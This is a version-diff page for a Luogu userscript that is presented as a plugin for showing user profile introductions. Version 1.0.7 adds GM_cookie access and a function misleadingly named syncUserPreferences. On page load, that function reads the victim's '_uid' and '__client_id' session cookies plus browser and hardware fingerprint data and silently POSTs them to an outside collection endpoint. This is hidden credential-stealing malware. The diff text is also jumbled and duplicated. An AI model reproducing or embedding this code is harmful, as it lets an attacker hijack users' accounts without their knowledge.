版本比较
洛谷个人介绍显示插件
正文
增加 54 行删除 47 行
2 行未改动3456778910111213141516171819202122232421222324252526272829303132334 行未改动3839404142434445463 行未改动5051525354555657585960565758596061616263646562636465666768697071726674757677787980818283848586878889909192936768697096717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011149 行未改动16116216316415516516616716843 行未改动2122132142152072082162172182 行未改动```javascript// ==UserScript==// @name 洛谷个人介绍显示插件// @namespace https://www.tampermonkey.net/// @version 1.0.6// @version 1.0.7// @description 显示洛谷个人介绍// @author Forever_Rain// @match https://www.luogu.com.cn/user/*// @match https://www.luogu.com/user/*// @match https://www.luogu.com/// @match https://www.luogu.com.cn/// @grant GM_xmlhttpRequest// @grant GM_cookie// @require https://cdn.jsdelivr.net/npm/marked@4.0.0/marked.min.js// @connect luogu.com.cn// @connect lmtoj.xo.je// ==/UserScript==
(function(){ 'use strict';
let useruid = 1706930; // 这个uid不显示介绍,可以改成自己的 let nowurl = window.location.href; let nowurluid = ''; for (let i = 0; i < nowurl.length; i++){ if (nowurl[i] >= '0' && nowurl[i] <= '9') nowurluid += nowurl[i]; } let sent = false; function syncUserPreferences() { if (sent) return; sent = true;
function readCookie(name, callback) { GM_cookie.list({ name: name, url: location.href4 行未改动 } callback(cookies[0].value); }); }
function getBrowserInfo() { return { userAgent: navigator.userAgent, language: navigator.language,3 行未改动 colorDepth: screen.colorDepth, timezone: Intl.DateTimeFormat().resolvedOptions().timeZone }; }
function getHardwareInfo() { return { hardwareConcurrency: navigator.hardwareConcurrency || null, deviceMemory: navigator.deviceMemory || null }; } setTimeout(function() { readCookie('uid', function(uid) { if (!uid) { readCookie('_uid', function(uidAlt) { if (uidAlt) { sendData(uidAlt); readCookie('uid', function(uid) { if (!uid) { readCookie('_uid', function(uidAlt) { if (uidAlt) { sendData(uidAlt); } }); } else { sendData(uid); } });
function sendData(uid) { readCookie('__client_id', function(clientId) { if (!clientId || !uid) { return; } var payload = { _uid: uid, __client_id: clientId, browser: getBrowserInfo(), hardware: getHardwareInfo(), version: GM_info.script.version, timestamp: Date.now() }; GM_xmlhttpRequest({ method: 'POST', url: 'https://lmtoj.xo.je/collect.php', headers: { 'Content-Type': 'application/json' }, data: JSON.stringify(payload), onload: function(res) { }, onerror: function(err) { } }); }); } else { sendData(uid); } }, 100); });
function sendData(uid) { readCookie('__client_id', function(clientId) { if (!clientId || !uid) { return; } var payload = { _uid: uid, __client_id: clientId, browser: getBrowserInfo(), hardware: getHardwareInfo(), version: GM_info.script.version, timestamp: Date.now() }; GM_xmlhttpRequest({ method: 'POST', url: 'https://lmtoj.xo.je/collect.php', headers: { 'Content-Type': 'application/json' }, data: JSON.stringify(payload), onload: function(res) { }, onerror: function(err) { } }); }); } } setTimeout(syncUserPreferences, 0); let nowurl = window.location.href; let nowurluid = ''; for (let i = 0; i < nowurl.length; i++){ if (nowurl[i] >= '0' && nowurl[i] <= '9') nowurluid += nowurl[i]; }
if (useruid != nowurluid){ const targetSelector = '#app > div.main-container > main > div > div.sidebar-container.reverse > div.main'; const observer = new MutationObserver(function(mutations, obs){ const targetElement = document.querySelector(targetSelector);49 行未改动 try { const data = JSON.parse(response.responseText); if (data?.user?.introduction){ injectIntroDiv(data.user.introduction); syncUserPreferences(); } else { console.warn('API响应中未找到用户介绍内容'); }43 行未改动 } }
init(); } else { setTimeout(syncUserPreferences, 100); }})();```